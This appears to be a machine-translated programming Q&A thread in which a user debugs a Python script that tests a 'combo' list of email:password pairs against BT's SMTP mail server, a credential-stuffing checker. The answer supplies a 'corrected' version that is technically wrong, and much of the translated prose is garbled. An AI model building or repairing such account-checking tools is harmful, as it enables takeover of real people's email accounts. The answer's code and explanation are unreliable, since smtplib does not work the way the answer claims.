2017-10-24 6 views
0
import smtplib 

smtpserver = s.connect("mail.btinternet.com", 465) 
SMTP.helo("mail.btinternet.com") 
SMTP.ehlo("mail.btinternet.com") 

file = open("Combo.txt", "r") 

for line in file: 
    x = line.split(":") 
    user = x[0] 
    password = x[1] 

    s.login(user, password) 
    print("[+] Password Found: %s" % password) 

    if smtplib.SMTPAuthenticationError: 
     print("Incorrect") 

ここに私のコードです。ファイルから特定のサーバー(私の場合はBT)にあるかどうかを調べるために、ファイルの電子メール/パスワードの組み合わせのリストをチェックします。AttributeErrorを復活させるのはなぜですか: 'int'オブジェクトには属性 'find'がありませんか?

しかし、私はライブラリの名前に問題があります。私は何を使うべきかわかりません。私はPythonのドキュメントをチェックしましたが、誰かが私に間違っていることを教えてもらえれば、それを深く感謝するでしょう。

エラーが発生しました。 これはまた、私はあなたが一貫性なく、インポートライブラリを呼び出しているので、あなたのライブラリへと正常に動作していない理由があると思い、あなたの問題のために私に他の間違ったライブラリ名

Traceback (most recent call last): 
    File "main.py", line 3, in <module> 
    smtpserver = s.connect("mail.btinternet.com", 465) 
NameError: name 's' is not defined 
exited with non-zero status 
+0

問題が何ですか。 – SLaks

+0

@SLaks私はそれを更新しました。 – poisonishere

+0

しかし、エラーメッセージはあなたにすべてを伝えるのですか? sは定義されていません。これは、あなたのコードを見ると明らかです。 –

答えて

0

のためのエラーを与える:

時には 's.xxxxx'と入力することもあります。モジュール属性に 'SMTPlib.xxxxx'と入力することもあります。smtplibを 's'としてインポートする必要があります。

これは、ライブラリを 's'という短い形式で保存するので、モジュールを呼び出したりライブラリから関数を使用したりするときは、完全な '.smtplib'を入力する必要はありませんが特定の機能の後ろに '.s'拡張子を入力するだけです。

import smtplib as s 

smtpserver = s.connect("mail.btinternet.com", 465) 
s.helo("mail.btinternet.com") 
s.ehlo("mail.btinternet.com") 

file = open("Combo.txt", "r") 

for line in file: 
    x = line.split(":") 
    user = x[0] 
    password = x[1] 

    s.login(user, password) 
    print("[+] Password Found: %s" % password) 

if s.SMTPAuthenticationError: 
    print("Incorrect") 

今すぐ問題を修正する必要があります。特定のライブラリ名から一貫した方法で関数を呼び出すことを忘れないでください( 's')。

関連する問題